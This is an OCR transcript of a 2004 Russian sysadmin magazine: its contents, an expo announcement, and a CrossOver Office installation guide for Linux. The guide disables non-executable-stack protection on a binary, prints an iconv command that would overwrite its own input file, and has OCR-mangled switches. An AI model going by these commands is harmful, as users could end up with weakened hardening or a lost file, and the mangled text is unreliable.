015 Системный Администратор 02 2004

98
журнал для cистемных администраторов, вебмастеров и программистов №2(15) февраль 2004 подписной индекс 81655 Запуск Windows-приложений под Linux c помощью CrossOver Office Спасем пингвина: Mindi Linux и Mondo Rescue Последствия гибернации в Linux Qnx Frenzy: FreeBSD в кармане сисадмина Архитектура файловой системы FAT По SUSекам Microsoft Жизненный цикл червей Использование SQLite и PHP5 Запуск Windows-приложений под Linux c помощью CrossOver Office Спасем пингвина: Mindi Linux и Mondo Rescue Последствия гибернации в Linux QNX Frenzy: FreeBSD в кармане сисадмина Архитектура файловой системы FAT По SUSекам Microsoft Жизненный цикл червей Использование SQLite и PHP5 №2(15) февраль 2004

Upload: dmitry-ushakov

Post on 15-Mar-2016

275 views

Category:

Documents


3 download

DESCRIPTION

Последствия гибернации в Linux Последствия гибернации в Linux Спасем пингвина: Mindi Linux и Mondo Rescue Спасем пингвина: Mindi Linux и Mondo Rescue Qnx По SUSекам Microsoft По SUSекам Microsoft Архитектура файловой системы FAT Архитектура файловой системы FAT Жизненный цикл червей Жизненный цикл червей

TRANSCRIPT

Page 1: 015 Системный Администратор 02 2004

журнал для cистемных администраторов,вебмастеров и программистов

№2(15) февраль 2004подписной индекс 81655

Запуск Windows-приложенийпод Linux c помощьюCrossOver Office

Спасем пингвина:Mindi Linux и Mondo Rescue

Последствия гибернациив Linux

Qnx

Frenzy: FreeBSD в карманесисадмина

Архитектура файловойсистемы FAT

По SUSекам Microsoft

Жизненный цикл червей

Использование SQLiteи PHP5

Запуск Windows-приложенийпод Linux c помощьюCrossOver Office

Спасем пингвина:Mindi Linux и Mondo Rescue

Последствия гибернациив Linux

QNX

Frenzy: FreeBSD в карманесисадмина

Архитектура файловойсистемы FAT

По SUSекам Microsoft

Жизненный цикл червей

Использование SQLiteи PHP5

№2(

15)

фев

раль

200

4

Page 2: 015 Системный Администратор 02 2004
Page 3: 015 Системный Администратор 02 2004

1№2(15), февраль 2004

оглавление

АДМИНИСТРИРОВАНИЕ

Запуск Windows-приложений под Linuxс помощью CrossOver Office

Андрей Бешков[email protected] 4

Спасем пингвинаРезервирование данных и восстановление системы с по-мощью Mindi Linux и Mondo Rescue.

Сергей Яремчук[email protected] 14

Мы с Linux этим ложимся и с Linuxэтим встаем – последствия гибернации

Антон Борисов[email protected] 18

Простая установка MRTGдля Red Hat Linux

Андрей Маркелов[email protected] 22

VPN success story (mini-HOWTO)

Андрей Мозговой[email protected] 24

QNX

Александр Байрак[email protected] 26

Frenzy: FreeBSD в кармане сисадмина

Сергей Можайский[email protected] 30

Как чертик из коробочкиОбзор эмулятора Bochs.

Валентин Синицын[email protected] 34

Архитектура файловой системы FAT

Владимир Мешков[email protected] 42

Работа с утилитой make

Антон Иванов[email protected] 38

Уязвимости в MS Windows.В поисках решения проблемыпо SUSекам Microsoft

Михаил Платов[email protected] 88

WEB

Кэширование веб-сценариев

Андрей Уваров[email protected] 56

Использование SQLite и PHP 5

Денис Колисниченко[email protected] 58

ОБРАЗОВАНИЕ

Программное управление ADSI: WinNT

Иван Коробко[email protected] 66

БЕЗОПАСНОСТЬ

Жизненный цикл червей

Крис Касперски[email protected] 76

BUGTRAQ 64

Page 4: 015 Системный Администратор 02 2004

2

Впервые организованная в 1989 году, выставка НеделяИнформационных Технологий «IT Week Russia», изве-стная в прошлом как Comtek, за пятнадцать лет своегосуществования пережила и взлеты и падения. В преды-дущие годы в Неделю Информационных Технологий вхо-дила выставка Сomtek, которая состояла из несколькихнаправлений, и конференция E-Business. Развитие выс-тавки в течение последних лет привело к необходимос-ти выделить отдельные разделы в самостоятельные вы-ставки. С этого года в Неделю Информационных Техно-логий будут входить пять самостоятельных выставок идве конференции. Этот шаг позволил расширить масш-таб выставки, объединяющей все аспекты компьютер-ного бизнеса, что, в свою очередь, дает возможностьпривлечь к участию в выставке большее число компа-ний, занятых во всех сферах индустрии информацион-ных технологий.

Давид Патеишвили, директор выставки, сказал: «Вэтом году мы расширили темы, представленные на экс-позиции, которые теперь охватывают все области компь-ютерной индустрии. Это дает превосходную возможностьи участникам, и посетителям выставки принять участие иознакомиться сразу с пятью выставками и двумя конфе-ренциями, проходящими в одно время и в одном месте.Это также позволит нам улучшить маркетинговую и рек-ламную кампании для каждой из выставок и конферен-ций, проходящих в рамках Недели Информационных Тех-нологий, с учетом целевой аудитории, специфичной длякаждой из них. Хочется добавить, что некоторые выстав-ки, которые будут проходить в рамках Недели Информа-ционных технологий, не имеют аналогов в России, явля-ясь тем самым уникальными».

В рамках Недели Информационных Технологий прой-дут следующие выставки и конференции:1. Personal Computing Expo – общая, неспециализиро-

ванная выставка, ориентированная на конечныхпользователей. В ней представлены производители идистрибьюторы персональных компьютеров и перифе-рии, компьютерных игр, дистрибьюторы сотовой тех-ники и портативных компьютеров, интернет- и контент-провайдеры и многие другие.

2. Hardware & Peripherals Expo – специализированнаявыставка, на которой представлены: компьютеры, мо-ниторы, периферийные устройства, комплектующие,накопители, коммуникационное оборудование и услу-ги, т.е. весь спектр hardware, ориентированного на ве-дение бизнеса.

3. Международная конференция eLearning Russia (Инфор-мационные технологии в образовании), на которой бу-дут освещены последние достижения образовательныхтехнологий в школах, вузах, а также рассмотрены воп-росы дистанционного и бизнес-образования.

4. Software Expo – специализированная выставка, ори-ентированная на программные продукты для систембухгалтерского и складского учета, комплексного ПОуправления предприятием, систем управления доку-ментооборотом, систем распознавания документов,разработку ПО, защиту информации. В рамках этойвыставки будет подготовлен цикл тематических семи-наров, посвященных актуальным вопросам в областиразработки экономических программ и систем управ-ления бизнесом.

5. Специализированная выставка CAD/CAM/CAE пред-ставляет системы автоматизированного проектиро-вания. Для большинства российских производителейнеобходимость использования САПР для оптимиза-ции работы предприятия стала очевидной. Особенноярко это проявляется в таких отраслях, как авиастро-ение, автомобилестроение, тяжелое машиностроение,архитектура, строительство, нефтегазовая промыш-ленность.

6. eLearn Expo – специализированная выставка, на ко-торой будут демонстрироваться новейшие продуктыи технологии в сфере электронного обучения, пред-назначенные для коллективного и индивидуальногопользования. Дистанционное обучение через сетиInternet и Intranet, получившее широкое распростра-нение в развитых странах, становится все более ак-туальным и для России.

7. eBusiness Russia (Электронный бизнес в России) –международная конференция, посвященная вопросамавтоматизации бизнес-процессов, развития электрон-ной коммерции, подбора ИТ-персонала.

Выставка IT-week остается ведущей международнойвыставкой информационных технологий в России и стра-нах СНГ. Это уникальное место для проведения перего-воров с первыми лицами сразу нескольких крупных фирм-поставщиков оборудования и решений. Практически всекрупные западные вендоры присутствуют на выставке не-посредственно или при посредстве своих российских парт-неров.

В соответствии с растущими потребностями рынка иувеличением числа участников экспозиция расширилаплощадь, которая в этом году составит 8000 кв. м. В вы-ставках, которые пройдут в течение 4 дней, примут уча-стие 250 ведущих компаний отрасли из 25 стран мира.Ожидается, что число посетителей выставки превысит75 000 человек, включая руководителей верхнего и сред-него звена, технических специалистов и IT-администра-торов, из более 500 городов России и СНГ.

«IT Week 2004», 15-ая Международная Выставка Ин-формационных Технологий пройдет в «Экспоцентре» наКрасной Пресне в Москве с 26 по 29 апреля 2004 года.

УНИКАЛЬНЫЕ СОБЫТИЯНА КОМПЬЮТЕРНОМ РЫНКЕ

Page 5: 015 Системный Администратор 02 2004
Page 6: 015 Системный Администратор 02 2004

4

администрирование

ЗАПУСК WINDOWS-ПРИЛОЖЕНИЙПОД LINUX C ПОМОЩЬЮ CROSSOVER OFFICE

АНДРЕЙ БЕШКОВ

Для большинства людей сложность использования того или иного диалекта Linux в качестверабочей станции состоит не только в том, что нужно пересесть на совершенно отличнуюот Windows систему, но и в отсутствии привычного окружения. Несмотря на впечатляющие успехиофисных программ из клана Open Office и Star Office, для многих и по сей день милее всехостается Microsoft Office. Почту большинство пользователей опять же любят читать ни чем иным,как The Bat или Outlook. Ну а бороздить просторы сетей подавляющее большинство простых людейпредпочитает с помощью Internet Explorer. Никому нет дела до того, что это небезопасно, затоочень удобно. С точки зрения организаций, владеющих тем или иным количеством лицензийна Microsoft Office или какие-либо другие приложения, заточенные для работы сугубо под Windows,переход на Linux будет выбрасыванием на ветер денег, заплаченных за эти самые лицензии.Думаю, руководство предприятия не поймет такой расточительности. Самое интересное в даннойситуации то, что ни Microsoft, ни какой-либо другой производитель программного обеспеченияне может запретить вам работать с их программами под управлением другой операционнойсистемы. Иначе это будет нарушением антимонопольного законодательства. Максимум, что можетсделать производитель в данной ситуации, – это отказать вам в предоставлении техническойподдержки. Впрочем, о качестве этой самой поддержки говорить можно много и не обязательнобудут сказаны хорошие слова.

Page 7: 015 Системный Администратор 02 2004

5№2(15), февраль 2004

администрирование

Сегодня мы поговорим о том, как с помощью CrossOverOffice запустить и успешно работать c вышеперечислен-ными, а также множеством других Windows-приложенийпод управлением Linux. В качестве основной операцион-ной системы выбран ALT Linux Master 2.2. Впрочем, на всехостальных видах Linux все приемы, описанные ниже, дол-жны работать так же легко.

Как обычно, для начала маленький экскурс в историюобсуждаемого вопроса. CrossOver Office построен на ос-нове кода, унаследованного от открытого проекта WINE.В первую очередь он предназначался для запуска офис-ных приложений Windows-платформы, но постепенно пре-вратился в нечто более мощное. Несмотря на свое назва-ние, предок CrossOver Office не имеет никакого отноше-ния к виноделию и спиртным напиткам. Единственноепредназначение WINE состоит в том, чтобы дать пользо-вателям возможность запускать программы, написанныедля Windows внутри Linux. Сокращение WINE расшифро-вывается следующим образом: «Wine Is Not Emulator», тоесть создатели проекта категорически настаивают на том,что они не занимаются эмуляцией Windows. Выглядит этовесьма странно, учитывая то, что WINE работает по тех-нологии эмуляции API (Applications Programming Interface)операционных систем Win32. В тот момент, когда подо-пытная Windows-программа, запущенная под Linux, обра-щается к несуществующей операционной системе типаWindows с просьбой выполнить ту или иную функцию,WINE перехватывает аргументы, передаваемые програм-мой в функцию. Затем происходит вызов своей собствен-ной реализации этой функции, а по завершению резуль-таты работы возвращаются в эмулируемую программу.Для того чтобы подобный ход событий стал возможен, доб-ровольцам, участвующим в проекте, пришлось написатьсвои собственные UNIX-реализации для большинства ча-сто используемых DLL Windows-систем. Объем проделан-ной работы огромен, и успешность данного предприятияпоражает. Но, к сожалению, не все системные библиоте-ки хорошо документированы, поэтому часто приходитсязаниматься дизассемблированием и реверсивным инжи-нирингом проприетарного кода и только затем писать свойсобственный, выполняющий те же действия. Такой методразработки отнимает очень много сил и времени. Поэто-му надеяться на то, что WINE или какая- либо другая сис-тема эмуляции API как по мановению волшебной палочкисможет запустить все сто процентов существующихWindows-программ не стоит. Особенно если учесть, чтоWindows-системы не замерли на одной точке своего жиз-ненного цикла, а продолжают довольно динамично раз-виваться. Наверное, стоит подходить к вопросу о количе-стве Windows-программ, успешно запускаемых под Linux,более реалистично. Я бы сказал, что в случае, когда по-допытная программа не использует каких-либо редкихфункций и не злоупотребляет защитой от копирования,вероятность того, что она запустится внутри эмулятора,равна примерно 70 процентам. В то же время стоит отме-тить один немаловажный факт, выгодно отличающий си-стемы с эмуляцией API от систем полной эмуляции (в ка-честве распространенного примера которых можно гово-рить о широко известной VMWare Workstation). Скорость

выполнения эмулируемой программы под управлениемсистем первого типа будет ниже на 1-2 процента по срав-нению со скоростью работы в родной среде. Налицо ми-зерная потеря эффективности выполнения, которуюпользователь вряд ли заметит. К сожалению, при работес системами полной эмуляции добиться такого блестяще-го результата не удастся.

Если вам хотелось бы подробнее почитать о проектеWINE, то милости просим на сайт http://www.winehq.com.Что-то теоретическая часть статьи сегодня слегка затя-нулась, а раз так, то значит, нам пора переходить к ак-тивным наступательным действиям.

CrossOver Office, разрабатываемый компанией Code-weavers Inc, в отличие от WINE, не является бесплатнымпроектом на том простом основании, что включает в себядовольно много самописного программного обеспечения.В результате весь набор программ сильно выигрываетв удобстве и простоте использования при сравнении сосвоим прародителем. В то же время, реализации мно-гих Win32-функций впервые появляющиеся в CrossOverOffice, добровольно передаются в дар проекту WINE. На-лицо полезный симбиоз, когда платный проект активноподдерживает движение свободного программногообеспечения.

Одна клиентская лицензия CrossOver Office на моментнаписания статьи стоила 54.95$. Для тех, кто любит точ-но знать, что покупает, есть тридцатидневный пробныйпериод. Пробная версия ничем не отличается от плат-ной, за исключением временного ограничения и редкогопоявления на экране вот такого уведомления.

Ее можно получить, если отправить запрос со следую-щей страницы: http://www.codeweavers.com/site/products/download_trial.

В течение нескольких минут по электронной почтепридет письмо, содержащее URL, имя и пароль, пользу-ясь которыми, можно скачать инсталляционный пакет.

Получив файл install-crossover-office-demo-2.1.0.sh,даем ему право на выполнение. Скрипт, который мы толь-ко что скачали, самостоятельно произведет распаковкуи установку всех нужных компонентов, поэтому не стоитудивляться, что размер его равен 11,2 Мб. Дальше воз-можны следующие варианты: если запустить установкуот имени обычного пользователя, то право запускатьWindows-программы появится только у этого конкрет-ного пользователя, потому что все файлы будут уста-новлены в директорию $HOME/cxoffice. Напомню, чтопод стандартным для UNIX-систем обозначением перемен-ной $HOME понимается домашняя директория пользова-теля. Ну а если сделать это от имени пользователя root,то работать с CrossOver Office смогут все пользовате-ли системы. А системные файлы разместятся в дирек-тории /opt/cxoffice. Лично мне больше подходит второйвариант, поэтому в дальнейшем предполагается, что ин-сталляция будет проходить с правами пользователя root.

Page 8: 015 Системный Администратор 02 2004

6

администрирование

Но пользоваться такими правами мы будем только дотех пор, пока это необходимо.

Ну а если вам удалось скачать платную версию, то ус-танавливать ее нужно вот такой командой:

В остальном же процедура установки обоих видов па-кета ничем не отличается.

После запуска инсталляции на экране появится до-вольно интересное лицензионное соглашение. Можнопросто нажать кнопку «I Agree», выразив тем самым своесогласие с предлагаемыми условиями, а лучше внима-тельно прочитать. Через некоторое время вы сможетезаметить, что человек, составлявший соглашение, обла-дал довольно развитым чувством юмора.

Сразу после принятия лицензионного соглашениянам будет предложено указать директорию, где долж-ны расположиться системные файлы CrossOver Office.По умолчанию предлагается использовать для этих це-лей /opt/cxoffice.

Мы снова согласимся, и, к всеобщему облегчению,начнется копирование файлов. После того как этот про-цесс будет завершен, на экране появится окошко, изоб-раженное на следующем рисунке.

Терпеливо ждем, пока система выполнит все необхо-димые действия, и ни в коем случае не пытаемся вме-шаться в ход событий. В зависимости от скоростных ха-рактеристик машины, на которой происходит процесс,ожидание может затянуться вплоть до 10 минут. Затем,приняв поздравления с удачным завершением установ-ки, нажимаем кнопки «OK» и «Exit».

Во многих современных Linux-системах использует-ся ядро, модифицированное для того, чтобы уменьшитьущерб, наносимый вредоносными программами, которыеактивно используют технику срыва стека. По умолчаниюна все исполняемые файлы устанавливается флаг, зап-рещающий работу с исполняемым стеком. Таким обра-зом, получается, что если злоумышленник вызовет срывстека, программа рухнет, но не станет выполнять код,записанный в стек в результате атаки. Большинству про-грамм функции исполнения кода в стеке не нужны длянормальной работы. Но некоторые программы, иCrossOver Office в частности, могут не работать в такихсистемах. Проверим, установлен ли флаг исполняемогостека на программу wineloader, которая используется длязапуска Windows-приложений.

Судя по выводу, очевидно, нужный флаг не установ-лен. Думаю, всем понятно, что его необходимо установить.

И обязательно проверить успешность такого действия.

После этого можно закрыть сеанс пользователя root,так как его права нам больше не понадобятся.

Входим в систему от имени пользователя, который вдальнейшем будет работать с Windows-приложениями.Если внимательно посмотреть на меню оконного менед-жера, то можно заметить, что там добавилось подменюCrossOver Office.

А после установки первого Windows-приложения по-явится еще и меню Windows Applications. Думаю, назна-чение обоих вышеназванных объектов очевидно длявсех. Настало время сделать так:

Или воспользоваться пунктом меню Office Setup. В от-вет начнет работать программа пользовательской уста-новки.

rpm -Uhv cxoffice-2.0.1-1.i386.rpm

# chstk -v /opt/cxoffice/bin/wineloader/opt/cxoffice/bin/: Non-executable stack area

# chstk -e /opt/cxoffice/bin/wineloader

# chstk -v /opt/cxoffice/bin/wineloader/opt/cxoffice/bin/: Executable stack area

$ /opt/cxoffice/bin/officesetup

Page 9: 015 Системный Администратор 02 2004

7№2(15), февраль 2004

администрирование

Если для доступа в Интернет используется прокси-сервер, то нужно вписать его адрес и порт в соответ-ствующие поля диалогового окна, иначе автоматичес-ки скачать нужное программное обеспечение будет зат-руднительно.

В домашней директории пользователя появится пап-ка .cxoffice, в которую будет скопирован минимальныйнабор директорий и файлов, необходимый для запускаWindows-приложений.

А тем временем на экране появится главное окно про-граммы officesetup, пользуясь которой, мы будем управ-лять всей системой CrossOver Office.

В верхнем списке отображаются пакеты, уже установ-ленные в систему. Хотя этот список не всегда отображаетреальное состояние дел.

Все программное обеспечение делится на две кате-гории: официально поддерживаемое и его антипод – не-поддерживаемое. Официальные пакеты протестирова-ны и должны надежно, насколько это слово применимок Windows-программам, работать под управлениемCrossOver Office. Ну а неофициальные мы будем инстал-лировать на свой страх и риск, и никто не даст гаран-тии, что это потом будет работать. Впрочем, волшеб-ную силу шаманского бубна еще никто не отменил, такчто отчаиваться не стоит. Лично мне удалось запуститьпочти все программы, которые я привык часто исполь-зовать под Windows.

Первым делом нужно установить DCOM95. Для этогожмем кнопку «Install» и в появившемся списке официаль-но поддерживаемых приложений выбираем этот пакет.

Как обычно, жмем кнопку «Next». На следующем эк-ране надо выбрать тип инсталляции. Экспресс-установкахороша тем, что нужные файлы будут скачаны из сетиавтоматически. В большинстве случаев желательнопользоваться именно этим способом.

Ну а если с доступом в Интернет с этой машины у наскакие-либо проблемы, можно воспользоваться процеду-рой Advanced install, с помощью которой есть возможностьузнать, откуда будут скачиваться файлы, и вытащить ихоттуда вручную. Скачать DCOM95 можно отсюда: http://www.microsoft.com/com/dcom/dcom95/download.asp. Иливоспользоваться сервисом filesearch.ru.

Затем перенести его на нашу машину и принудитель-но указать, где находится то, что нужно. Хотя тут програм-мисты из команды Codeweavers допустили ошибку. Наследующей картинке ее очень хорошо видно. Несмотряна то, что я точно указал, где на локальном диске нахо-дятся файлы инсталлятора, кнопка «Next» остается неак-тивной. Конечно, всплывает эта ошибка не каждый раз,иначе она была бы уже давным-давно исправлена.

Но и на эту беду есть свое лечение. С помощью кноп-ки «Prev» возвращаемся к первому шагу и выбираем фла-

Page 10: 015 Системный Администратор 02 2004

8

администрирование

жок «Install unsupported software» и, пройдя этой веткойустановки, указываем, где лежит выполняемый файл.

В общем, тем или иным способом сообщив системе,где брать файлы, нажимаем на многострадальную кноп-ку «Next». Через некоторое время на экране появится воттакое окошко:

Жмем на кнопку «Да», затем принимаем лицензион-ное соглашение. И подождав, пока завершится копирова-ние файлов, получаем вот такую ошибку:

На самом деле ничего страшного не произошло. Про-сто нам намекают, что для нашей версии Windows нуженDCOM98. Хотя это, конечно, неправда, все нужные файлыуже установились в директорию: $HOME/.cxoffice/dotwine/fake_windows/Windows/System/dcom95/.

Теперь осталось смотреть на следующую картинку и тер-пеливо ждать, пока система выполнит все нужные действия.

Хотя иногда встречается программное обеспечение,которое зацикливается на этом этапе. Тогда, чтобы закон-чить инсталляцию, приходится воспользоваться кнопкой«Installer is finished». Ярким примером такого вида про-грамм служит Microsoft Office 2000 Service Pack 2. Хотя,конечно, это способ из разряда экстремальных, и лучшеим никогда не пользоваться, потому что в результате это-го может полностью разрушиться имеющаяся инсталля-ция CrossOver Office.

Воспользовавшись опцией «View installed associations»,можно увидеть, обработчиком каких расширений файлови MIME-типов объявила себя установленная программа.Например, Microsoft Power Point может заявить себя об-работчиком файлов типа *.ppt.

Кстати, если отключить опцию «Remove installer files»,то все дистрибутивные файлы, что были скачаны из сети,останутся в директории: $HOME/.cxoffice/installers/. Иног-да для экономии трафика такая возможность бывает оченьполезна.

Завершаем инсталляцию нажатием кнопки «Finish» ивозвращаемся в главное окно программы. Теперь, еслинажать на кнопку «Install» и посмотреть в список прило-жений, мы сможем увидеть, что DCOM95 помечен звез-дочкой, обозначающей, что этот компонент уже установ-лен. Думаю, для вас не составит труда самостоятельноразыскать в сети и установить DCOM98, о необходимостикоторого нам недавно намекали. А я тем временем пе-рейду к установке TTF-шрифтов, наиболее подходящихдля Windows-приложений. Надеюсь, что, пользуясь выше-описанной методикой, вы понимаете, как это сделать. Про-блема в том, что каждый шрифт инсталлируется отдель-но, так что придется одиннадцать раз выполнить проце-дуру инсталляции. Не совсем понятно, почему сделаноименно так, но другого пути, видимо, нет.

Закончив все предварительные операции, начнем уста-новку Microsoft Office 2000. Я использовал именно его, пото-му что Office XP в тот момент под рукой не было. Хотя впос-ледствии для теста он был установлен вместо Office 2000.

Итак, приступим. В списке приложений выбираем Office2000, вставляем в CD-ROM диск с Microsoft Office 2000 иуказываем источник инсталляции.

А в ответ получаем вот такое предупреждение.

Page 11: 015 Системный Администратор 02 2004

9№2(15), февраль 2004

администрирование

Жмем кнопку «Detail» для того, чтобы узнать, в чемпроблема, и получаем следующее объяснение.

Проблема в том, что некоторые из файлов дистрибу-тива специально помечены как скрытые, и настройкифайловой системы для устройства CD-ROM, которые за-писаны в /etc/fstab, не позволяют их увидеть. Конечно,можно нажать кнопку «Proceed despite likely error», темсамым проигнорировав все предупреждения, но тогда наудачное завершение инсталляции надеяться не стоит. По-этому воспользуемся кнопкой «Fix». В ответ на наше дей-ствие запустится скрипт /opt/cxoffice/bin/unhide_fstab, ко-торый внесет необходимые изменения в файл /etc/fstab.Того же самого результата можно добиться, если в томсамом файле собственноручно исправить запись, описы-вающую устройство /dev/cdrom, так чтобы она выгляделаследующим образом:

Ключевая опция, из-за которой случились все эти не-доразумения, называется «unhide».

После добавления ее в описание файловой систе-мы в большинстве диалектов Linux все должно зарабо-тать как положено. На самом деле лично мне этот трюкне помог по той простой причине, что в ALT Linux длямонтирования сменных носителей используется подси-стема autofs, управляющая демонами automount. Такимобразом, получается, что файл /etc/fstab не имеет ни-какого отношения к реальному механизму работы со смен-ными носителями. Поэтому мы открываем файл /etc/auto.tab и приводим строку, отвечающую за /dev/cdrom ктакому виду:

Для того чтобы изменения вступили в силу, переза-пускаем демона autofs, выполняя команду:

Вот теперь можно вернуться к установке MicrosoftOffice 2000. Вместе с офисными приложениями по умол-чанию будет установлен и Microsoft Internet Explorer. Пос-ле всех этих манипуляций установка должна пройти глад-ко как по маслу. В принципе этого и стоило ожидать.Единственным интересным моментом тут можно назватьточку в инсталляции, когда копирование и установкафайлов закончены и необходимо выполнить перезагруз-ку Windows. CrossOver Office обычно довольно хорошораспознает такие моменты и самостоятельно запускает

скрипт /opt/cxoffice/bin/cxreboot. Как это выглядит, выможете видеть на следующем снимке.

По завершении установки можно посмотреть, обработ-чиками каких типов файлов объявили себя свежеустанов-ленные приложения.

Как вы смогли заметить, файлы типа *.doc теперь при-вязаны к приложению winword.exe. Налюбовавшись пол-ным списком приложений и связанных с ними типов фай-лов, стоит обязательно обратить внимание на колонку«Enabled», которая показывает, включена ли данная ас-социация.

Кстати, стоит упомянуть, что вдовесок к MicrosoftOffice 2000 будут автоматически установлены Mplayer,Internet Explorer 5.0, Outlook Express и куча прочего вспо-могательного обеспечения.

А на следующем снимке экрана вы можете посмот-реть, как выглядит Microsoft Word под управлением Linux.Как видите, кроме оформления окна, программа выгля-дит точно так же, как если бы она работала под Windows.Я думаю, это очень впечатляет.

Все остальные только что установленные офисные при-ложения работают также на редкость хорошо. Налюбовав-

/dev/cdrom /mnt/cdrom auto ↵↵↵↵↵unhide,user,iocharset=koi8-r,exec,ro,noauto 0 0

cdrom -fstype=auto,unhide,ro,iocharset=koi8-r :/dev/cdrom

# service autofs restart

Page 12: 015 Системный Администратор 02 2004

10

администрирование

шись на дело рук своих, продолжаем изучать CrossOverOffice. Вкладка интерфейса «Menus» показывает, какие пун-кты меню добавило приложение в систему. Пользуясь кноп-ками, расположенными возле каждого пункта списка, мож-но легко управлять этими меню. Как вы смогли заметить,названия меню, написанные кириллицей в кодировке cp-1251 и автоматически конвертированные в UTF-8, выгля-дят не очень хорошо. И самый неприятный факт состоит втом, что я пока не нашел, где хранятся строки, отображае-мые в качестве названий меню на следующем рисунке.

А из этих строк создаются названия для меню оконногоменеджера, которые хранятся в файле $HOME/.menu/cxoffice.А так как кодировка не совпадает, то и производные от негоменю тоже получаются кривыми. Как временное решениеможно выполнить конвертирование из кодировки cp-1251 вutf-8 и затем пересоздание меню оконного менеджера. До-биться этого можно следующими командами.

Переходим к следующей вкладке интерфейса програм-мы officesetup.

$ iconv -f cp-1251 -t utf-8 $HOME/.menu/cxoffice > ↵↵↵↵↵$HOME/.menu/cxoffice

$ update-menus �n �u

Page 13: 015 Системный Администратор 02 2004

11№2(15), февраль 2004

администрирование

Здесь у нас находятся глобальные настройки Windows-системы. Первым делом можно настроить опцию MyDocuments так, чтобы Windows-программы думали, чтопапка C://Мои документы находится в /home/tigrisha/Documents. Таким образом, все офисные документы бу-дут храниться там, где это принято в Linux-системах.Следующая опция Browsers позволяет назначить интер-нет-браузер, используемый по умолчанию Windows-при-ложениями. Сразу же после инсталляции таковым на-значен Internet Explorer, но никто не мешает выбратьдля этой роли какую-либо другую программу. Напри-мер, родной для Linux браузер Mozilla. Еще ниже нахо-дится кнопка «Online Update». Самые догадливые чи-татели уже поняли, что она позволяет скачать с сайтаcodeveawers.com новейший список официально поддер-живаемых приложений.

При нажатии кнопки «Advanced» мы видим еще не-сколько настроек. Первая из них указывает, где нахо-дятся бинарные файлы, динамически загружаемые биб-лиотеки и TTF-шрифты. Эта опция позволяет поставитьв систему несколько разных инсталляций CrossOver илиWINE и безболезненно переключаться между ними в по-исках именно той версии, которая будет лучше всегоработать с нашими Windows-приложениями. Настрой-ки http прокси-сервера пропускаем, потому что рабо-тать с ними проще простого. А вот следующая опцияуже гораздо интереснее. Outlook Security позволяет ука-зать, какие типы файлов, присоединенные к электрон-ным письмам, запрещено открывать. Всем известно, чтоOutlook дыряв, как решето, и позволяет злоумышлен-нику создать письмо с присоединенным файлом, кото-рый по получению будет автоматически выполнен. Уме-ло пользуясь вышеуказанной опцией, мы сможем сде-лать работу с почтой гораздо безопаснее.

Закончив с установкой официально поддерживаемыхпрограмм, перейдем к работе с неофициальными. В ка-честве примера можно взять The Bat. Инсталляция про-ходит без особых проблем, за исключением одной мело-чи. На экране появляется вот такое окно, и висеть онобудет здесь бесконечно. Проблема в том, что за окном слоготипом летучей мыши скрыто диалоговое окно с воп-росом, стоит ли привязать к этому приложению обработ-ку файлов с расширением vcf, msg.

И самое веселое то, что фокус ввода находится имен-но в окне с логотипом, так что нажатие клавиши «Enter»ничего не даст. Поэтому придется схватить нужное намокно за левый верхний угол, вытянуть его на свет бо-жий. Окно с логотипом исчезнет только после того, какмы ответим на все вопросы, задаваемые инсталлятором.После удачной инсталляции и первого запуска The Batнужно закрыть и дождаться, пока CrossOver Office за-вершит все служебные процедуры. Затем желательнопровести перезагрузку Windows c помощью запускаскрипта /opt/cxoffice/bin/cxreboot. На экран начнут сыпать-ся сообщения, подобные этим:

Обязательно дождитесь появления надписи «Nocommands. Done». И только после этого можно будет пол-ноценно работать с установленной программой. На сле-дующем экране можно увидеть довольно хорошо функ-ционирующий экземпляр The Bat.

Page 14: 015 Системный Администратор 02 2004

12

администрирование

Кстати, обратите внимание на то, что вокруг кнопокинструментальной панели появились дыры, через кото-рые виден фон. К сожалению, могу сказать, что это неединственное неудобство, встреченное мной при работес The Bat под CrossOver Office. Вторая проблема состоитв том, что программа, используемая для русификацииThe Bat и называемая Internation Pack, устанавливаетсянормально, но после этого ни одно меню в почтовом кли-енте уже не работает. Так что, пока программа русифи-кации будет так себя вести, придется обходиться толькоанглийским языком. В остальном же все работает нор-мально.

Иногда случается так, что устанавливаемая програм-ма не создает никаких меню и не выкладывает на рабо-чий стол своих ярлыков. В таком случае нам нужно на-учиться самостоятельно создать пункт меню оконного ме-неджера или ярлык. Но первым делом стоит изыскатьвозможности запускать установленную программу. Итак,представим, что наша подопытная программа установи-лась в папку C:/Program Files/QuickViewer/, а исполняе-мый файл называется viewer.exe. Самый простой – хотяи самый медленный – способ запустить данное прило-жение – это подать команду:

Читатель может спросить, почему вышеуказанный спо-

соб является самым медленным. Все очень просто: мыведь не указали, где находится папка, в которой хра-нится выполняемый файл приложения, и теперьCrossOver Office вынужден обыскать все папки нашейподдельной Windows-системы. Область поиска можносущественно сузить с помощью ключа --workdir и име-ни директории:

Вот этот способ работает более быстро за счет чет-кого указания пути и рабочей директории программы.А без ключа --cx-app можно вполне неплохо обойтись.Для удачного запуска многих программ указывать ра-бочую директорию не обязательно, хотя есть такие эк-земпляры, которые без этого параметра никогда не бу-дут работать. Конечно, лучше всего передавать этотпараметр для каждой выполняемой программы, нам этоничего не стоит, а им приятно.

Иногда случается так, что Windows-программа быва-ет доступна вместе с исходным кодом, тогда ее можноскомпилировать для работы в Unix-системе, используявместо родных функций реализации функций из библио-теки winelib. Среди пользователей wine такие програм-мы называются соответственно winelib-программами.Приятной особенностью приложений такого типа явля-

$ /opt/cxoffice/bin/wine �-cx-app viewer.exe

$ /opt/cxoffice/bin/wine --workdir "/home/tigrisha/.cxoffice/ ↵↵↵↵↵dotwine/fake_windows/Program Files/QuickViewer" ↵↵↵↵↵"C://Program Files//QuickViewer//viewer.exe"

Page 15: 015 Системный Администратор 02 2004

13№2(15), февраль 2004

администрирование

ется возможность работать самостоятельно без приме-нения wine. В то же время wine умеет запускать и такиеприложения. Предположив, что программа из предыду-щего примера создана с помощью winelib, выполняем ееследующей командой:

Впрочем, вряд ли кому-либо из вас придется частопользоваться winelib-программами. Все-таки сообществоWindows-разработчиков в силу другого восприятия миранечасто свободно раздает исходные коды своих разработок.

Есть еще один способ запускать приложения. С помо-щью ключа командной строки --ux-app Wine может выпол-нять настоящие Unix-приложения. Для чего это сделано,лично мне не понятно, но, видимо, разработчикам такаявозможность показалась жизненно необходимой.

